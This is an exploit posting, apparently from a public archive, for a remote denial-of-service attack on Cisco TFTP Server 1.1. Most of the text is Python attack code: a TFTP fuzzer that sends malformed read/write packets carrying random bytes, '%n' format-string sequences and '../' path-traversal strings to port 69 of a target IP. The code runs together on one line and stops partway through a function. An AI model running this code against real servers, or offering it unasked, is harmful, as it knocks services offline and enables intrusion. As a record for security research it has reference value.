Cisco TFTP Server 1.1 Denial of Service Exploit
Posted on 25 March 2010
=============================================== Cisco TFTP Server 1.1 Denial of Service Exploit =============================================== # Exploit Title: [Cisco TFTP Server 1.1] # Date: [2010-03-25] # Author: [_SuBz3r0_] # Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html] # Version: [1.1] # Tested on: [XP SP3,Win2k3] # CVE : [if exists] # Code : #Cisco TFTP Server v1.1 DoS print "" print "##############################################" print "# _SuBz3r0_ #" print "##############################################" print "" print "Cisco TFTP v1.1 Remote DoS" print "Just For Fun" print "tftp_fuzz.py [ip of server]" print "" print "Greetz:piloo le canari & MaX" print "Credits to Ilja van Sprundel" print "Tested on: French Windows Xp Sp3 fully Patched" print "" #!/usr/bin/python # tftpd fuzzer by Ilja van Sprundel # implements rfc 1350, 2090, 2347, 2348, 2349 # # todo: - 1 option per packet # - lots (>100) (small) options per packet # - add better option support to OACK # - client fuzzing ? import os, socket, sys, struct, random port = 69 type = ["netascii", "octet", "binary", "mail"] asize = ["blkzise", "tsize"] class fuzz: def __init__(self): """ """ def randstring(self, len): thestring = "" what = random.randint(0,5) if what < 5: for i in range(len): char = chr(random.randint(1,255)) thestring += char else: thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n" return thestring def randbin(self, len): thestring = "" for i in range(len): char = chr(random.randint(0,255)) thestring += char return thestring def fuzz_rw(self): """ """ data = "" if not random.randint(0,50): return "" if not random.randint(0,10): if random.randint(0,1): data = "../" else: howmany = random.randint(1,100) data = "../" * howmany data += self.randstring(random.randint(0,3000)) # no 0byte if not random.randint(0,10): return data data += "